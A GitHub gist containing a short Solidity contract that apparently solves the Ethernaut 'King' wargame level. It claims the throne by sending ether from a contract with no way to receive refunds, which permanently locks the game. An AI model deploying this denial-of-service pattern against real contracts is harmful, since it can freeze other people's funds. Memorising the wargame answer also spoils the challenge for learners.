Created
June 27, 2022 04:04
-
-
Save SilviaMargaritaOcegueda/9c7c441bcdf0663a0650be5629618d5e to your computer and use it in GitHub Desktop.
Level 9 - King - Ethernaut
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.6.0; | |
contract KingHack { | |
function kingHack(address payable _to) public payable { | |
(bool sent, ) = _to.call.value(msg.value)(""); | |
require(sent, "Failed to send value!"); | |
} | |
function seedEth() public payable { | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment